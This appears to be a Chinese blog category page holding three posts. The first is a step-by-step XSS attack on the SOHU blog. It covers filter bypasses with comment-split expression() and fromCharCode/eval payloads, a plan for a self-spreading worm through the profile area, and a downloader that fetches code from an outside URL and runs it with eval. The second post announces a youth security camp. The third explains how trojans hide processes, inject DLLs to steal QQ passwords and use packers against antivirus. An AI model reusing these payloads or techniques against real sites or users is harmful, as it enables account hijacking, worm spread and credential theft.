目前分類:進階教學 (3)

瀏覽方式: 標題列表 簡短摘要
不說廢話,且看怎麼實現,我先拿SOHU BLOG做示範.

1.測試過濾字符,下面都是構造XSS所需要的關鍵字符(未包含全角字符,空格是個TABLE,\/前是真正的空格),在個人檔案處看過濾了哪些.
'';:!--"<javascript JAvaSCriPT>=&#{()} \/

結果

'';:!--"=&#{()} // (&後是amp,論壇過濾了)

過濾了"javascript","&"和"\"這兩個轉義字符串,因此HTML轉碼和CSS樣式轉碼已無效,只好從屬性和事件入手.

2.測試一個XSS常用屬性和兩個事件,貌似沒有過濾字符. expression
onerror
onload

3.下面開始嘗試構造語句.如下:
<img src="#" style="Xss:expression(alert('xss'));">

<img src="#" onerror=alert('xss')>

<img src="http://js.pp.sohu.com/ppp/blog/styles/images/welcome.jpg" onload=alert('xss')>

構造完整標記,頁面輸出後又全部過濾.

4."/"字符沒有過濾因此可以構造/*xxxx*/註釋符,expression屬性可以配合註釋符構造出語句:
<div style="xss:ex/**/pre/**/ssion(alert('xss'))">

5.由於expression屬性比較特殊想當於一個死循環的EVAL函數,同時style標記裡不能出現";"字符,也就是不能構造多條連接在一起的javascript,因此構造出如下語句:
<DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf('Cookie1=') == -1){document.cookie='Cookie1=RAY;expires='+Then.toGMTString();alert('xss');}">

//設置一個COOKIE在10秒後失效,並在這條COOKIE語句中執行其他語句或函數.

6.遺憾的是SOHU BLOG對於標記內不合適的內容都會過濾,因此我們無法eval標記內的某個變量,於是採用fromCharCode方法,將Unicode字符值專成字符串再用eval函數執行:
<div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">

7.感染流程考慮:

一.BLOG頁面的個人檔案處是頁面通用的,

二.XSS內容寫到個人檔案處,所有瀏覽者都會觸發XSS

三.實現一段提交XSS內容到個人檔案的代碼.

8.個人檔案處只能輸入2048個字符,又採用了fromCharCode方法,因此出現XSS代碼長度的限制,因此只能調用遠程代碼,於是寫出了個XSS downloader.

主要代碼:
function d(){
a=new ActiveXObject('Microsoft.XMLHTTP'); /*調用XMLHTTP控件
a.Open('get','http://s0n9.blog.sohu.com/31406970.html',false);/*發出一個GET提交請求
a.send();
b=a.responseText; /*將傳回值賦給變量B
eval(unescape(b.substring(b.indexOf('--|')+3,b.indexOf('|--'))));
/*用indexOf計算 --|********|-- 的位置,用substring方法取出字符串,最後用unescape方法解碼.
}d()

http://s0n9.blog.sohu.com/31406970.html 頁面代碼:
alert%28%27xss%27%29%3B
/*利用escape將標點符號轉碼,由於responseText特性,某些字符會轉換,如"&"字符會變成"&"(&後是amp,論壇過濾了)

PS:其他傳染和詳細的偽造提交的過程略去,各門戶網站小心,過濾好XSS關鍵字,以防止XSS WROM爆發
     不知對大家有沒有用處==OMG

teamaple 發表在 痞客邦 留言(0) 人氣()

第二屆青少年網路安全研習營來了!!(ZCamp 2007)

去年一次的經驗, 相信來參加的人都知道, 有夠非常的刺激阿 XD.

今年應該會更精彩唷, 地點在東海大學舉行, 嘿嘿, 別亂想嘿... :-)

課程簡介跟整個活動的簡介已經打出來了, 要報名的要快喔!!
不然過幾天等到所有的廣告贊助通通上了, 那就... 會搶不到名額喔 XDD...
大家快點告訴大家吧.. XD 名額有限, ccc :-)

(參加的學員們都睡在宿舍, 而這裡面有些照片是我們苦命的工作人員阿 XDD)



(要報名要快喔, 心動不如馬上行動阿, 真的名額有限, 超級精彩的啦 ccc)

2007 第二屆青少年網路安全研習營討論區: http://www.zuso.org.tw/forum/viewforum.php?f=15
轉至 [ZUSO www.zuso.org.tw/ ]
-----------------------------------------本人分隔線-----------------------------------------
上次說我不能參加
但我跟我爸昨坳右坳終於肯讓我去了!!!!!!!!
期待與大家見面阿~~~~
-----------------------------------------本人分隔線-----------------------------------------

teamaple 發表在 痞客邦 留言(0) 人氣()

木馬程序無論如何神秘,但歸根究底,仍是Win32平台下的一種程序。Windows下常見的程序有兩種:

1.Win32應用程序(Win32 Application),比如QQ、Office等都屬於此行列。

2.Win32控制台程序(Win32 Console),比如硬盤引導修復程序FixMBR。

其中,Win32應用程序通常會有應用程序界面,比如系統中自帶的「計算器」就有提供各種數字按鈕的應用程序界面。木馬雖然屬於Win32應用程序,但其一般不包含窗體或隱藏了窗體(但也有某些特殊情況,如木馬使用者與被害者聊天的窗口),並且將木馬文件屬性設置為「隱藏」,這就是最基本的隱藏手段,稍有經驗的用戶只需打開「任務管理器」,並且將「文件夾選項」中的「顯示所有文件」勾選即可輕鬆找出木馬,於是便出現了下面要介紹的「進程隱藏」技術。

第一代進程隱藏技術:Windows 98的後門

在Windows 98中,微軟提供了一種能將進程註冊為服務進程的方法。儘管微軟沒有公開提供這種方法的技術實現細節(因為Windows的後續版本中沒有提供這個機制),但仍有高手發現了這個秘密,這種技術稱為RegisterServiceProcess。只要利用此方法,任何程序的進程都能將自己註冊為服務進程,而服務進程在Windows 98中的任務管理器中恰巧又是不顯示的,所以便被木馬程序鑽了空子。

要對付這種隱藏的木馬還算簡單,只需使用其他第三方進程管理工具即可找到其所在,並且採用此技術進行隱藏的木馬在Windows 2000/XP(因為不支持這種隱藏方法)中就得現形!中止該進程後將木馬文件刪除即可。可是接下來的第二代進程隱藏技術,就沒有這麼簡單對付了。

第二代進程隱藏技術:進程插入

在Windows中,每個進程都有自己的私有內存地址空間,當使用指針(一種訪問內存的機制)訪問內存時,一個進程無法訪問另一個進程的內存地址空間,就好比在未經鄰居同意的情況下,你無法進入鄰居家吃飯一樣。比如QQ在內存中存放了一張圖片的數據,而MSN則無法通過直接讀取內存的方式來獲得該圖片的數據。這樣做同時也保證了程序的穩定性,如果你的進程存在一個錯誤,改寫了一個隨機地址上的內存,這個錯誤不會影響另一個進程使用的內存。

你知道嗎——進程(Process)是什麼

對應用程序來說,進程就像一個大容器。在應用程序被運行後,就相當於將應用程序裝進容器裡了,你可以往容器裡加其他東西(如:應用程序在運行時所需的變量數據、需要引用的DLL文件等),當應用程序被運行兩次時,容器裡的東西並不會被倒掉,系統會找一個新的進程容器來容納它。

一個進程可以包含若幹線程(Thread),線程可以幫助應用程序同時做幾件事(比如一個線程向磁盤寫入文件,另一個則接收用戶的按鍵操作並及時做出反應,互相不干擾),在程序被運行後中,系統首先要做的就是為該程序進程建立一個默認線程,然後程序可以根據需要自行添加或刪除相關的線程。

1.進程插入是什麼

獨立的地址空間對於編程人員和用戶來說都是非常有利的。對於編程人員來說,系統更容易捕獲隨意的內存讀取和寫入操作。對於用戶來說,操作系統將變得更加健壯,因為一個應用程序無法破壞另一個進程或操作系統的運行。當然,操作系統的這個健壯特性是要付出代價的,因為要編寫能夠與其他進程進行通信,或者能夠對其他進程進行操作的應用程序將要困難得多。但仍有很多種方法可以打破進程的界限,訪問另一個進程的地址空間,那就是「進程插入」(Process Injection)。一旦木馬的DLL插入了另一個進程的地址空間後,就可以對另一個進程為所欲為,比如下文要介紹的盜QQ密碼。

2.木馬是如何盜走QQ密碼的

普通情況下,一個應用程序所接收的鍵盤、鼠標操作,別的應用程序是無權「過問」的。可盜號木馬是怎麼偷偷記錄下我的密碼的呢?木馬首先將1個DLL 文件插入到QQ的進程中並成為QQ進程中的一個線程,這樣該木馬DLL就赫然成為了QQ的一部分!然後在用戶輸入密碼時,因為此時木馬DLL已經進入QQ 進程內部,所以也就能夠接收到用戶傳遞給QQ的密碼鍵入了,真是「家賊難防」啊!

3.如何插入進程

(1)使用註冊表插入DLL

早期的進程插入式木馬的伎倆,通過修改註冊表中的[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs]來達到插入進程的目的。缺點是不實時,修改註冊表後需要重新啟動才能完成進程插入。

(2)使用掛鉤(Hook)插入DLL

比較高級和隱蔽的方式,通過系統的掛鉤機制(即「Hook」,類似於DOS時代的「中斷」)來插入進程(一些盜QQ木馬、鍵盤記錄木馬以Hook方式插入到其他進程中「偷雞摸狗」),需要調用SetWindowsHookEx函數(也是一個Win32 API函數)。缺點是技術門檻較高,程序調試困難,這種木馬的製作者必須具有相當的Win32編程水平。

你知道嗎——什麼是API

Windows中提供各種功能實現的接口稱為Win32 API(Application Programming Interface,即「應用程序編程接口」),如一些程序需要對磁盤上的文件進行讀寫,就要先通過對相應的API(文件讀寫就要調用文件相關的API) 發出調用請求,然後API根據程序在調用其函數時提供的參數(如讀寫文件就需要同時給出需要讀寫的文件的文件名及路徑)來完成請求實現的功能,最後將調用結果(如寫入文件成功,或讀取文件失敗等)返回給程序。

(3)使用遠程線程函數(CreateRemoteThread)插入DLL

在Windows 2000及以上的系統中提供了這個「遠程進程」機制,可以通過一個系統API函數來向另一個進程中創建線程(插入DLL)。缺點很明顯,僅支持 Windows 2000及以上系統,在國內仍有相當多用戶在使用Windows 98,所以採用這種進程插入方式的木馬缺乏平台通用性。

木馬將自身作為DLL插入別的進程空間後,用查看進程的方式就無法找出木馬的蹤跡了,你能看到的僅僅是一些正常程序的進程,但木馬卻已經偷偷潛入其中了。解決的方法是使用支持「進程模塊查看」的進程管理工具(如「Windows優化大師」提供的進程查看),木馬的DLL模塊就會現形了。

不要相信自己的眼睛:恐怖的進程「蒸發」

嚴格地來講,這應該算是第2.5代的進程隱藏技術了,可是它卻比前幾種技術更為可怕得多。這種技術使得木馬不必將自己插入到其他進程中,而可以直接消失!

它通過Hook技術對系統中所有程序的進程檢測相關API的調用進行了監控,「任務管理器」之所以能夠顯示出系統中所有的進程,也是因為其調用了 EnumProcesses等進程相關的API函數,進程信息都包含在該函數的返回結果中,由發出調用請求的程序接收返回結果並進行處理(如「任務管理器」在接收到結果後就在進程列表中顯示出來)。

而木馬由於事先對該API函數進行了Hook,所以在「任務管理器」(或其他調用了列舉進程函數的程序)調用EnumProcesses函數時(此時的API函數充當了「內線」的角色),木馬便得到了通知,並且在函數將結果(列出所有進程)返回給程序前,就已將自身的進程信息從返回結果中抹去了。就好比你正在看電視節目,卻有人不知不覺中將電視接上了DVD,你在不知不覺中就被欺騙了。

所以無論是「任務管理器」還是殺毒軟件,想對這種木馬的進程進行檢測都是徒勞的。這種木馬目前沒有非常有效的查殺手段,只有在其運行前由殺毒軟件檢測到木馬文件並阻止其病毒體的運行。當時還有一種技術是由木馬程序將其自身的進程信息從Windows系統用以記錄進程信息的「進程鏈表」中刪除,這樣進程管理工具就無法從「進程鏈表」中獲得木馬的進程信息了。但由於缺乏平台通用性而且在程序運行時有一些問題,所以沒有被廣泛採用。

你知道嗎——什麼是Hook

Hook是Windows中提供的一種用以替換DOS下「中斷」的一種系統機制,中文譯名為「掛鉤」或「鉤子」。在對特定的系統事件(包括上文中的特定API函數的調用事件)進行Hook後,一旦發生已Hook的事件,對該事件進行Hook的程序(如:木馬)就會收到系統的通知,這時程序就能在第一時間對該事件做出響應(木馬程序便搶在函數返回前對結果進行了修改)。

毫無蹤跡:全方位立體隱藏

利用剛才介紹的Hook隱藏進程的手段,木馬可以輕而易舉地實現文件的隱藏,只需將Hook技術應用在文件相關的API函數上即可,這樣無論是「資源管理器」還是殺毒軟件都無法找出木馬所在了。更令人吃驚的是,現在已經有木馬(如:灰鴿子)利用該技術實現了文件和進程的隱藏。要防止這種木馬最好的手段仍是利用殺毒軟件在其運行前進行攔截。

跟殺毒軟件對著干:反殺毒軟件外殼

木馬再狡猾,可是一旦被殺毒軟件定義了特徵碼,在運行前就被攔截了。要躲過殺毒軟件的追殺,很多木馬就被加了殼,相當於給木馬穿了件衣服,這樣殺毒軟件就認不出來了,但有部分殺毒軟件會嘗試對常用殼進行脫殼,然後再查殺(小樣,別以為穿上件馬夾我就不認識你了)。除了被動的隱藏外,最近還發現了能夠主動和殺毒軟件對著干的殼,木馬在加了這種殼之後,一旦運行,則外殼先得到程序控制權,由其通過各種手段對系統中安裝的殺毒軟件進行破壞,最後在確認安全 (殺毒軟件的保護已被瓦解)後由殼釋放包裹在自己「體內」的木馬體並執行之。對付這種木馬的方法是使用具有脫殼能力的殺毒軟件對系統進行保護。

你知道嗎——什麼是殼

顧名思義,你可以很輕易地猜到,這是一種包在外面的東西。沒錯,殼能夠將文件(比如EXE)包住,然後在文件被運行時,首先由殼獲得控制權,然後釋放並運行包裹著的文件體。很多殼能對自己包住的文件體進行加密,這樣就可以防止殺毒軟件的查殺。比如原先殺毒軟件定義的該木馬的特徵是「12345」,如果發現某文件中含有這個特徵,就認為該文件是木馬,而帶有加密功能的殼則會對文件體進行加密(如:原先的特徵是「12345」,加密後變成了 「54321」,這樣殺毒軟件當然不能靠文件特徵進行檢查了)。脫殼指的就是將文件外邊的殼去除,恢復文件沒有加殼前的狀態。

teamaple 發表在 痞客邦 留言(0) 人氣()